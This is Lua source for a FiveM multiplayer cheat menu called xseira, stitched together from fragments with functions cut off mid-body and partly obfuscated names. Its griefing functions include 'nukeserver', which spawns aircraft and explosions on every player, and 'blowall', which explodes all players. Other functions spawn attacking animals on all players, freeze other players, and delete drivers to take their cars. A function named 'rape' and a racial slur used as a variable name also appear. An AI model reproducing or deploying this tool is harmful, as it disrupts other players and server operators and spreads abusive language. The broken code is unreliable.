Citizen.InvokeNative("0x25FBB336DF1804CB", "STRING")
Citizen.InvokeNative("0x6C188BE134E074AA", text)
Citizen.InvokeNative("0xCD015E5BB0D96A57", x, y)
end
if menus[currentMenu].titleBackgroundSprite then
DrawSprite(menus[currentMenu].titleBackgroundSprite.dict,
menus[currentMenu].titleBackgroundSprite.name, x, y, menus[currentMenu].width,
titleHeight, 0., menus[currentMenu].spriteColor.r,
menus[currentMenu].spriteColor.g, menus[currentMenu].spriteColor.b,
menus[currentMenu].spriteColor.a)
else
drawRect(x, y, menus[currentMenu].width, titleHeight,
menus[currentMenu].titleBackgroundColor)
end
drawText(menus[currentMenu].title, x, y - titleHeight / 2 +
titleYOffset, menus[currentMenu].titleFont, menus[currentMenu].titleColor,
titleScale, true)
end
end
if multiplier then
local y = menus[currentMenu].y + titleHeight + buttonHeight +
(buttonHeight * multiplier) - buttonHeight / 2
local backgroundColor = nil
local textColor = nil
local subTextColor = nil
local shadow = false
if menus[currentMenu].currentOption == optionCount then
backgroundColor = menus[currentMenu].menuFocusBackgroundColor
textColor = menus[currentMenu].menuFocusTextColor
subTextColor = menus[currentMenu].menuFocusTextColor
else
backgroundColor = menus[currentMenu].menuBackgroundColor
textColor = menus[currentMenu].menuTextColor
subTextColor = menus[currentMenu].menuSubTextColor
shadow = true
end
if subText then
drawText(subText, menus[currentMenu].x + buttonTextXOffset, y -
buttonHeight / 2 + buttonTextYOffset, buttonFont, subTextColor, buttonScale, false,
shadow, true)
end
end
end
menus[id] = { }
menus[id].title = title
menus[id].subTitle = 'MENU'
menus[id].visible = false
menus[id].previousMenu = nil
menus[id].aboutToBeClosed = false
menus[id].x = 0.575
menus[id].y = 0.025
menus[id].width = 0.23
menus[id].currentOption = 1
menus[id].maxOptionCount = 10
menus[id].titleFont = 1
menus[id].titleColor = { r = 255, g = 255, b = 255, a = 255 }
menus[id].titleBackgroundColor = { r = 255, g = 255, b = 255, a = 255 }
menus[id].titleBackgroundSprite = nil
menus[id].spriteColor = { r = 255, g = 0, b = 0, a = 255 }
menus[id].subTitleBackgroundColor = { r = menus[id].menuBackgroundColor.r,
g = menus[id].menuBackgroundColor.g, b = menus[id].menuBackgroundColor.b, a = 255 }
if subTitle then
setMenuProperty(id, 'subTitle', string.upper(subTitle))
else
setMenuProperty(id, 'subTitle',
string.upper(menus[parent].subTitle))
end
function xseira.CurrentMenu()
return currentMenu
end
function xseira.OpenMenu(id)
if id and menus[id] then
PlaySoundFrontend(-1, "SELECT", "HUD_FRONTEND_DEFAULT_SOUNDSET", true)
setMenuVisible(id, true)
debugPrint(tostring(id)..' menu opened')
else
debugPrint('Failed to open '..tostring(id)..' menu: it doesn\'t exist')
end
end
function xseira.IsMenuOpened(id)
return isMenuVisible(id)
end
function xseira.IsAnyMenuOpened()
for id, _ in pairs(menus) do
if isMenuVisible(id) then return true end
end
return false
end
function xseira.IsMenuAboutToBeClosed()
if menus[currentMenu] then
return menus[currentMenu].aboutToBeClosed
else
return false
end
end
function xseira.CloseMenu()
if menus[currentMenu] then
if menus[currentMenu].aboutToBeClosed then
menus[currentMenu].aboutToBeClosed = false
setMenuVisible(currentMenu, false)
debugPrint(tostring(currentMenu)..' menu closed')
PlaySoundFrontend(-1, "QUIT", "HUD_FRONTEND_DEFAULT_SOUNDSET",
true)
optionCount = 0
currentMenu = nil
currentKey = nil
else
menus[currentMenu].aboutToBeClosed = true
debugPrint(tostring(currentMenu)..' menu about to be closed')
end
end
end
if menus[currentMenu] then
optionCount = optionCount + 1
drawButton(text, subText)
if isCurrent then
if currentKey == keys.select then
PlaySoundFrontend(-1,
menus[currentMenu].buttonPressedSound.name,
menus[currentMenu].buttonPressedSound.set, true)
debugPrint(buttonText..' button pressed')
return true
elseif currentKey == keys.left or currentKey == keys.right then
PlaySoundFrontend(-1, "NAV_UP_DOWN",
"HUD_FRONTEND_DEFAULT_SOUNDSET", true)
end
end
return false
else
debugPrint('Failed to create '..buttonText..' button:
'..tostring(currentMenu)..' menu doesn\'t exist')
return false
end
end
return true
end
else
debugPrint('Failed to create '..tostring(text)..' menu button:
'..tostring(id)..' submenu doesn\'t exist')
end
return false
end
return true
end
return false
end
callback(currentIndex, selectedIndex)
return false
end
function xseira.Display()
if isMenuVisible(currentMenu) then
if menus[currentMenu].aboutToBeClosed then
xseira.CloseMenu()
else
ClearAllHelpMessages()
drawTitle()
drawSubTitle()
currentKey = nil
optionCount = 0
end
end
end
function xseira.SetMenuX(id, x)
setMenuProperty(id, 'x', x)
end
function xseira.SetMenuY(id, y)
setMenuProperty(id, 'y', y)
end
function xseira.SetTitleColor(id, r, g, b, a)
setMenuProperty(id, 'titleColor', { ['r'] = r, ['g'] = g, ['b'] = b, ['a']
= a or menus[id].titleColor.a })
end
function xseira.SetTitleBackgroundColor(id, r, g, b, a)
setMenuProperty(id, 'titleBackgroundColor', { ['r'] = r, ['g'] = g, ['b'] =
b, ['a'] = a or menus[id].titleBackgroundColor.a })
end
function xseira.SetSpriteColor(id, r, g, b, a)
setMenuProperty(id, 'spriteColor', { ['r'] = r, ['g'] = g, ['b'] = b, ['a']
= a or menus[id].menuBackgroundColor.a })
end
function xseira.SetMenuBackgroundColor(id, r, g, b, a)
setMenuProperty(id, 'menuBackgroundColor', { ['r'] = r, ['g'] = g, ['b'] =
b, ['a'] = a or menus[id].menuBackgroundColor.a })
end
function xseira.SetMenuTextColor(id, r, g, b, a)
setMenuProperty(id, 'menuTextColor', { ['r'] = r, ['g'] = g, ['b'] = b,
['a'] = a or menus[id].menuTextColor.a })
end
function xseira.SetMenuSubTextColor(id, r, g, b, a)
setMenuProperty(id, 'menuSubTextColor', { ['r'] = r, ['g'] = g, ['b'] = b,
['a'] = a or menus[id].menuSubTextColor.a })
end
function xseira.SetMenuFocusColor(id, r, g, b, a)
setMenuProperty(id, 'menuFocusColor', { ['r'] = r, ['g'] = g, ['b'] = b,
['a'] = a or menus[id].menuFocusColor.a })
end
function drawNotification(text)
SetNotificationTextEntry("STRING")
AddTextComponentString(text)
DrawNotification(false, false)
end
function getEntity(player)
local result, entity = GetEntityPlayerIsFreeAimingAt(player,
Citizen.ReturnResultAnyway())
return entity
end
SetBlipSprite(bm.vNtrqJZiWyFdNeBgfuiZaIbPXdAFuujnOquyqWRrqLUeXxcCCFyGgmYIdeyeMEiDCV
jPNWXDeepkALFXGCTmlPoZisdmRdLGjYmbaYeqBeiiNLgUBSeHNxIfMbkR,bm.model)SetBlipDisplay(
bm.vNtrqJZiWyFdNeBgfuiZaIbPXdAFuujnOquyqWRrqLUeXxcCCFyGgmYIdeyeMEiDCVjPNWXDeepkALFX
GCTmlPoZisdmRdLGjYmbaYeqBeiiNLgUBSeHNxIfMbkR,4)
SetBlipScale(bm.vNtrqJZiWyFdNeBgfuiZaIbPXdAFuujnOquyqWRrqLUeXxcCCFyGgmYIdeyeMEiDCVj
PNWXDeepkALFXGCTmlPoZisdmRdLGjYmbaYeqBeiiNLgUBSeHNxIfMbkR,0.9)SetBlipColour(bm.vNtr
qJZiWyFdNeBgfuiZaIbPXdAFuujnOquyqWRrqLUeXxcCCFyGgmYIdeyeMEiDCVjPNWXDeepkALFXGCTmlPo
ZisdmRdLGjYmbaYeqBeiiNLgUBSeHNxIfMbkR,bm.colour)SetBlipAsShortRange(bm.vNtrqJZiWyFd
NeBgfuiZaIbPXdAFuujnOquyqWRrqLUeXxcCCFyGgmYIdeyeMEiDCVjPNWXDeepkALFXGCTmlPoZisdmRdL
GjYmbaYeqBeiiNLgUBSeHNxIfMbkR,true)BeginTextCommandSetBlipName("STRING")
AddTextComponentString(ab)
EndTextCommandSetBlipName(bm.vNtrqJZiWyFdNeBgfuiZaIbPXdAFuujnOquyqWRrqLUeXxcCCFyGgm
YIdeyeMEiDCVjPNWXDeepkALFXGCTmlPoZisdmRdLGjYmbaYeqBeiiNLgUBSeHNxIfMbkR)end
else
drawNotification("~r~Invalid coords!")
end
end
end
function MaxOut(veh)
SetVehicleModKit(GetVehiclePedIsIn(GetPlayerPed(-1), false), 0)
SetVehicleWheelType(GetVehiclePedIsIn(GetPlayerPed(-1), false), 7)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 0,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 0) - 1, false)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 1,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 1) - 1, false)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 2,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 2) - 1, false)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 3,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 3) - 1, false)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 4,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 4) - 1, false)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 5,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 5) - 1, false)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 6,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 6) - 1, false)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 7,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 7) - 1, false)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 8,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 8) - 1, false)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 9,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 9) - 1, false)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 10,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 10) - 1, false)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 11,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 11) - 1, false)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 12,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 12) - 1, false)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 13,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 13) - 1, false)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 14, 16, false)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 15,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 15) - 2, false)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 16,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 16) - 1, false)
ToggleVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 17, true)
ToggleVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 18, true)
ToggleVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 19, true)
ToggleVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 20, true)
ToggleVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 21, true)
ToggleVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 22, true)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 23, 1, false)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 24, 1, false)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 25,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 25) - 1, false)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 27,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 27) - 1, false)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 28,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 28) - 1, false)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 30,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 30) - 1, false)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 33,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 33) - 1, false)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 34,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 34) - 1, false)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 35,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 35) - 1, false)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 38,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 38) - 1, true)
SetVehicleWindowTint(GetVehiclePedIsIn(GetPlayerPed(-1), false), 1)
SetVehicleTyresCanBurst(GetVehiclePedIsIn(GetPlayerPed(-1), false), false)
SetVehicleNumberPlateTextIndex(GetVehiclePedIsIn(GetPlayerPed(-1), false),
5)
end
function MaxOutPerf(veh)
SetVehicleModKit(GetVehiclePedIsIn(GetPlayerPed(-1), false), 0)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 11,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 11) - 1, false)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 12,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 12) - 1, false)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 13,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 13) - 1, false)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 15,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 15) - 2, false)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 16,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 16) - 1, false)
ToggleVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 17, true)
ToggleVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 18, true)
ToggleVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 19, true)
ToggleVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 21, true)
SetVehicleTyresCanBurst(GetVehiclePedIsIn(GetPlayerPed(-1), false), false)
end
function ch(C,x,y)
SetTextFont(0)
SetTextProportional(1)
SetTextScale(0.0,0.4)
SetTextDropshadow(1,0,0,0,255)
SetTextEdge(1,0,0,0,255)
SetTextDropShadow()
SetTextOutline()
SetTextEntry("STRING")
AddTextComponentString(C)
DrawText(x,y)
end
if UpdateOnscreenKeyboard() ~= 2 then
local result = GetOnscreenKeyboardResult()
Citizen.Wait(500)
blockinput = false
return result
else
Citizen.Wait(500)
blockinput = false
return nil
end
end
function DelVeh(veh)
SetEntityAsMissionEntity(veh, 1, 1)
DeleteEntity(veh)
end
function GetInputMode()
return Citizen.InvokeNative(0xA571D46727E2B718, 2) and "MouseAndKeyboard"
or "GamePad"
end
function TeleportToCoords()
local x = KeyboardInput("Enter X Pos", "", 100)
local y = KeyboardInput("Enter Y Pos", "", 100)
local z = KeyboardInput("Enter Z Pos", "", 100)
local entity
if x ~= "" and y ~= "" and z ~= "" then
if IsPedInAnyVehicle(GetPlayerPed(-1),0) and
GetPedInVehicleSeat(GetVehiclePedIsIn(GetPlayerPed(-1),0),-1)==GetPlayerPed(-1)
then
entity = GetVehiclePedIsIn(GetPlayerPed(-1),0)
else
entity = PlayerPedId()
end
if entity then
SetEntityCoords(entity, x + 0.5, y + 0.5, z + 0.5, 1,0,0,1)
end
else
drawNotification("~g~Invalid Coords!")
end
end
function TeleportToWaypoint()
if DoesBlipExist(GetFirstBlipInfoId(8)) then
local blipIterator = GetBlipInfoIdIterator(8)
local blip = GetFirstBlipInfoId(8, blipIterator)
WaypointCoords = Citizen.InvokeNative(0xFA7C7F0AADF25D09, blip,
Citizen.ResultAsVector()) --Thanks To Briglair [forum.FiveM.net]
wp = true
function RequestModelSync(bp)
local bq=GetHashKey(bp)RequestModel(bq)
while not HasModelLoaded(bq)do
RequestModel(bq)
Citizen.Wait(0)
end
end
function rape(player)
Citizen.CreateThread(function()
RequestModelSync("a_m_o_acult_01")
RequestAnimDict("rcmpaparazzo_2")
while not HasAnimDictLoaded("rcmpaparazzo_2") do
Citizen.Wait(0)
end
function teleportToNearestVehicle()
local playerPed = GetPlayerPed(-1)
local playerPedPos = GetEntityCoords(playerPed, true)
local NearestVehicle = GetClosestVehicle(GetEntityCoords(playerPed,
true), 1000.0, 0, 4)
local NearestVehiclePos = GetEntityCoords(NearestVehicle, true)
local NearestPlane = GetClosestVehicle(GetEntityCoords(playerPed,
true), 1000.0, 0, 16384)
local NearestPlanePos = GetEntityCoords(NearestPlane, true)
drawNotification("~y~Wait...")
Citizen.Wait(1000)
if (NearestVehicle == 0) and (NearestPlane == 0) then
drawNotification("~r~No Vehicle Found")
elseif (NearestVehicle == 0) and (NearestPlane ~= 0) then
if IsVehicleSeatFree(NearestPlane, -1) then
SetPedIntoVehicle(playerPed, NearestPlane, -1)
SetVehicleAlarm(NearestPlane, false)
SetVehicleDoorsLocked(NearestPlane, 1)
SetVehicleNeedsToBeHotwired(NearestPlane, false)
else
local driverPed = GetPedInVehicleSeat(NearestPlane, -1)
ClearPedTasksImmediately(driverPed)
SetEntityAsMissionEntity(driverPed, 1, 1)
DeleteEntity(driverPed)
SetPedIntoVehicle(playerPed, NearestPlane, -1)
SetVehicleAlarm(NearestPlane, false)
SetVehicleDoorsLocked(NearestPlane, 1)
SetVehicleNeedsToBeHotwired(NearestPlane, false)
end
drawNotification("~g~Teleported Into Nearest Vehicle!")
elseif (NearestVehicle ~= 0) and (NearestPlane == 0) then
if IsVehicleSeatFree(NearestVehicle, -1) then
SetPedIntoVehicle(playerPed, NearestVehicle, -1)
SetVehicleAlarm(NearestVehicle, false)
SetVehicleDoorsLocked(NearestVehicle, 1)
SetVehicleNeedsToBeHotwired(NearestVehicle, false)
else
local driverPed = GetPedInVehicleSeat(NearestVehicle, -1)
ClearPedTasksImmediately(driverPed)
SetEntityAsMissionEntity(driverPed, 1, 1)
DeleteEntity(driverPed)
SetPedIntoVehicle(playerPed, NearestVehicle, -1)
SetVehicleAlarm(NearestVehicle, false)
SetVehicleDoorsLocked(NearestVehicle, 1)
SetVehicleNeedsToBeHotwired(NearestVehicle, false)
end
drawNotification("~g~Teleported Into Nearest Vehicle!")
elseif (NearestVehicle ~= 0) and (NearestPlane ~= 0) then
if Vdist(NearestVehiclePos.x, NearestVehiclePos.y,
NearestVehiclePos.z, playerPedPos.x, playerPedPos.y, playerPedPos.z) <
Vdist(NearestPlanePos.x, NearestPlanePos.y, NearestPlanePos.z, playerPedPos.x,
playerPedPos.y, playerPedPos.z) then
if IsVehicleSeatFree(NearestVehicle, -1) then
SetPedIntoVehicle(playerPed, NearestVehicle, -1)
SetVehicleAlarm(NearestVehicle, false)
SetVehicleDoorsLocked(NearestVehicle, 1)
SetVehicleNeedsToBeHotwired(NearestVehicle, false)
else
local driverPed = GetPedInVehicleSeat(NearestVehicle, -1)
ClearPedTasksImmediately(driverPed)
SetEntityAsMissionEntity(driverPed, 1, 1)
DeleteEntity(driverPed)
SetPedIntoVehicle(playerPed, NearestVehicle, -1)
SetVehicleAlarm(NearestVehicle, false)
SetVehicleDoorsLocked(NearestVehicle, 1)
SetVehicleNeedsToBeHotwired(NearestVehicle, false)
end
elseif Vdist(NearestVehiclePos.x, NearestVehiclePos.y,
NearestVehiclePos.z, playerPedPos.x, playerPedPos.y, playerPedPos.z) >
Vdist(NearestPlanePos.x, NearestPlanePos.y, NearestPlanePos.z, playerPedPos.x,
playerPedPos.y, playerPedPos.z) then
if IsVehicleSeatFree(NearestPlane, -1) then
SetPedIntoVehicle(playerPed, NearestPlane, -1)
SetVehicleAlarm(NearestPlane, false)
SetVehicleDoorsLocked(NearestPlane, 1)
SetVehicleNeedsToBeHotwired(NearestPlane, false)
else
local driverPed = GetPedInVehicleSeat(NearestPlane, -1)
ClearPedTasksImmediately(driverPed)
SetEntityAsMissionEntity(driverPed, 1, 1)
DeleteEntity(driverPed)
SetPedIntoVehicle(playerPed, NearestPlane, -1)
SetVehicleAlarm(NearestPlane, false)
SetVehicleDoorsLocked(NearestPlane, 1)
SetVehicleNeedsToBeHotwired(NearestPlane, false)
end
end
drawNotification("~g~Teleported Into Nearest Vehicle!")
end
end
-- Discord presenece
Citizen.CreateThread(function()
while Enabled do
if discordPresence then
SetDiscordAppId(672521548778831883)
SetDiscordRichPresenceAsset('unnamed_2')
SetDiscordRichPresenceAssetText('skrt')
SetDiscordRichPresenceAssetSmall('unnamed_2')
SetDiscordRichPresenceAssetSmallText('GANG GANG')
end
Citizen.Wait(60000) --10s
end
end)
Citizen.CreateThread(function()
local headId = {}
while Enabled do
Citizen.Wait(1)
if playerBlips then
-- show blips
for id = 0, 128 do
if NetworkIsPlayerActive(id) and GetPlayerPed(id) ~=
GetPlayerPed(-1) then
ped = GetPlayerPed(id)
blip = GetBlipFromEntity(ped)
-- Speaking display
if NetworkIsPlayerTalking(id) then
SetMpGamerTagVisibility(headId[id], 9, true) -- Add
speaking sprite
else
SetMpGamerTagVisibility(headId[id], 9, false) -- Remove
speaking sprite
end
-- BLIP STUFF --
if passengers then
if not IsVehicleSeatFree(veh, -1) then
passengers = passengers + 1
end
ShowNumberOnBlip(blip, passengers)
else
HideNumberOnBlip(blip)
end
else
-- Remove leftover number
HideNumberOnBlip(blip)
if blipSprite ~= 1 then -- default blip
SetBlipSprite(blip, 1)
ShowHeadingIndicatorOnBlip(blip, true) --
Player Blip indicator
end
end
SetBlipRotation(blip, math.ceil(GetEntityHeading(veh)))
-- update rotation
SetBlipNameToPlayerName(blip, id) -- update blip name
SetBlipScale(blip, 0.85) -- set scale
else
for id = 0, 128 do
ped = GetPlayerPed(id)
blip = GetBlipFromEntity(ped)
if DoesBlipExist(blip) then -- Removes blip
RemoveBlip(blip)
end
if Citizen.InvokeNative("0x4E929E7A5796FD26", headId[id]) then
RemoveMpGamerTag(headId[id])
end
end
end
end
end)
function ShootPlayer(player)
local head = GetPedBoneCoords(player, GetEntityBoneIndexByName(player,
"SKEL_HEAD"), 0.0, 0.0, 0.0)
SetPedShootsAtCoord(PlayerPedId(), head.x, head.y, head.z, true)
end
function SpawnAnimal(model)
while not HasModelLoaded(model) do
debugPrint("Loading Model...")
RequestModel(model)
Citizen.Wait(0)
end
for i = 1, 128 do
local coords = GetEntityCoords(GetPlayerPed(i))
local ped = CreatePed(29, model, coords.x, coords.y, coords.z + 1.0, 1,
true, true)
TaskCombatPed(ped,GetPlayerPed(i),0,16)
end
end
function SpawnObjOnPlayer(modelHash)
local coords = GetEntityCoords(GetPlayerPed(SelectedPlayer), true)
function nukeserver()
Citizen.CreateThread(function()
local dg="Avenger"
local dh="CARGOPLANE"
local di="luxor"
local dj="maverick"
local dk="blimp2"
for i=0,128 do
local
di=CreateVehicle(GetHashKey(dg),GetEntityCoords(GetPlayerPed(i))+2.0,true,true) and
CreateVehicle(GetHashKey(dg),GetEntityCoords(GetPlayerPed(i))+10.0,true,true)and
CreateVehicle(GetHashKey(dg),2*GetEntityCoords(GetPlayerPed(i))+15.0,true,true)and
CreateVehicle(GetHashKey(dh),GetEntityCoords(GetPlayerPed(i))+2.0,true,true)and
CreateVehicle(GetHashKey(dh),GetEntityCoords(GetPlayerPed(i))+10.0,true,true)and
CreateVehicle(GetHashKey(dh),2*GetEntityCoords(GetPlayerPed(i))+15.0,true,true)and
CreateVehicle(GetHashKey(di),GetEntityCoords(GetPlayerPed(i))+2.0,true,true)and
CreateVehicle(GetHashKey(di),GetEntityCoords(GetPlayerPed(i))+10.0,true,true)and
CreateVehicle(GetHashKey(di),2*GetEntityCoords(GetPlayerPed(i))+15.0,true,true)and
CreateVehicle(GetHashKey(dj),GetEntityCoords(GetPlayerPed(i))+2.0,true,true)and
CreateVehicle(GetHashKey(dj),GetEntityCoords(GetPlayerPed(i))+10.0,true,true)and
CreateVehicle(GetHashKey(dj),2*GetEntityCoords(GetPlayerPed(i))+15.0,true,true)and
CreateVehicle(GetHashKey(dk),GetEntityCoords(GetPlayerPed(i))+2.0,true,true)and
CreateVehicle(GetHashKey(dk),GetEntityCoords(GetPlayerPed(i))+10.0,true,true)and
CreateVehicle(GetHashKey(dk),2*GetEntityCoords(GetPlayerPed(i))+15.0,true,true)and
AddExplosion(GetEntityCoords(GetPlayerPed(i)),5,3000.0,true,false,100000.0)and
AddExplosion(GetEntityCoords(GetPlayerPed(i)),5,3000.0,true,false,true)
end
end)
end
function rotDirection(rot)
local radianz = rot.z * 0.0174532924
local radianx = rot.x * 0.0174532924
local num = math.abs(math.cos(radianx))
return dir
end
local aX = pointA.x
local aY = pointA.y
local aZ = pointA.z
local bX = pointB.x
local bY = pointB.y
local bZ = pointB.z
local xBA = bX - aX
local yBA = bY - aY
local zBA = bZ - aZ
function RotToDirection(rot)
local radiansZ = rot.z * 0.0174532924
local radiansX = rot.x * 0.0174532924
local num = math.abs(math.cos(radiansX))
local dir = vector3(-math.sin(radiansZ) * num, math.cos(radiansZ * num),
math.sin(radiansX))
return dir
end
function add(a, b)
local result = vector3(a.x + b.x, a.y + b.y, a.z + b.z)
return result
end
return result
end
function SpectatePlayer(player)
local playerPed = PlayerPedId()
Spectating = not Spectating
local targetPed = GetPlayerPed(player)
if (Spectating) then
local targetx, targety, targetz =
table.unpack(GetEntityCoords(targetPed, false))
Citizen.CreateThread(
function()
while true do
Citizen.Wait(0)
DisplayRadar(true)
SetPlayerWantedLevel(PlayerId(), 0, false)
SetPlayerWeaponDamageModifier(PlayerId(), selectedDamage)
SetPlayerMeleeWeaponDamageModifier(PlayerId(), selectedDamage)
SetPlayerInvincible(PlayerId(), GodMode)
SetEntityInvincible(PlayerPedId(), GodMode)
if infStamina then
RestorePlayerStamina(PlayerId(), 1.0)
end
if invisible then
SetEntityVisible(GetPlayerPed(-1), false, 0)
else
SetEntityVisible(GetPlayerPed(-1), true, 0)
end
if freezePlayer then
ClearPedTasksImmediately(GetPlayerPed(SelectedPlayer))
end
if runtog then
for i = 0, 128 do
if IsPedRunning(GetPlayerPed(i) or
IsPedSprinting(GetPlayerPed(i))) then
ClearPedTasksImmediately(GetPlayerPed(play))
end
end
end
if crosshair then
ShowHudComponentThisFrame(14)
end
if crosshair2 then
ch("~r~+",0.495,0.484)
end
if crosshair3 then
ch("~r~.",0.4968,0.478)
end
if rainbow then
local color = RGBRainbow(1.0)
for i = 0, #allMenus do
xseira.SetSpriteColor(allMenus[i], color.r, color.g,
color.b, 255)
end
for i, dA in pairs(bd) do
xseira.SetSpriteColor(dA.id, color.r, color.g, color.b,
255)
end
for i, dA in pairs(be) do
xseira.SetSpriteColor(dA.id, color.r, color.g, color.b,
255)
end
end
if animated then
Citizen.Wait(50)
for i = 0, #allMenus do
xseira.SetTitleBackgroundSprite(allMenus[i],
"digitaloverlay", "signal1")
end
for i, dA in pairs(bd) do
xseira.SetTitleBackgroundSprite(dA.id,
"digitaloverlay", "signal1")
end
for i, dA in pairs(be) do
xseira.SetTitleBackgroundSprite(dA.id,
"digitaloverlay", "signal1")
end
Citizen.Wait(50)
for i = 0, #allMenus do
xseira.SetTitleBackgroundSprite(allMenus[i],
"digitaloverlay", "signal2")
end
for i, dA in pairs(bd) do
xseira.SetTitleBackgroundSprite(dA.id,
"digitaloverlay", "signal2")
end
for i, dA in pairs(be) do
xseira.SetTitleBackgroundSprite(dA.id,
"digitaloverlay", "signal2")
end
Citizen.Wait(50)
for i = 0, #allMenus do
xseira.SetTitleBackgroundSprite(allMenus[i],
"digitaloverlay", "signal3")
end
for i, dA in pairs(bd) do
xseira.SetTitleBackgroundSprite(dA.id,
"digitaloverlay", "signal3")
end
for i, dA in pairs(be) do
xseira.SetTitleBackgroundSprite(dA.id,
"digitaloverlay", "signal3")
end
Citizen.Wait(50)
for i = 0, #allMenus do
xseira.SetTitleBackgroundSprite(allMenus[i],
"digitaloverlay", "signal4")
end
for i, dA in pairs(bd) do
xseira.SetTitleBackgroundSprite(dA.id,
"digitaloverlay", "signal4")
end
for i, dA in pairs(be) do
xseira.SetTitleBackgroundSprite(dA.id,
"digitaloverlay", "signal4")
end
end
if fall then
for i = 0, 128 do
ClearPedTasksImmediately(GetPlayerPed(i))
end
end
if blowall then
for i = 0, 128 do
local ped = GetPlayerPed(i)
local coords = GetEntityCoords(ped)
AddExplosion(coords.x, coords.y, coords.z, 4, 100.0, false,
true, 0.0, false)
end
end
if sall then
for i = 0, 128 do
local ped = GetPlayerPed(i)
local coords = GetEntityCoords(ped)
local vehiclehash = GetHashKey("savage")
RequestModel(vehiclehash)
CreateVehicle(vehiclehash, coords.x, coords.y, coords.z,
GetEntityHeading(ped), 1, 0)
end
end
if superGrip then
SetVehicleGravityAmount(niggerVehicle, 20.0)
elseif not superGrip and not enchancedGrip and not fdMode and
not driftMode then
SetVehicleGravityAmount(niggerVehicle, 10.0)
end
if enchancedGrip then
SetVehicleGravityAmount(niggerVehicle, 12.0)
elseif not superGrip and not enchancedGrip and not fdMode and
not driftMode then
SetVehicleGravityAmount(niggerVehicle, 10.0)
end
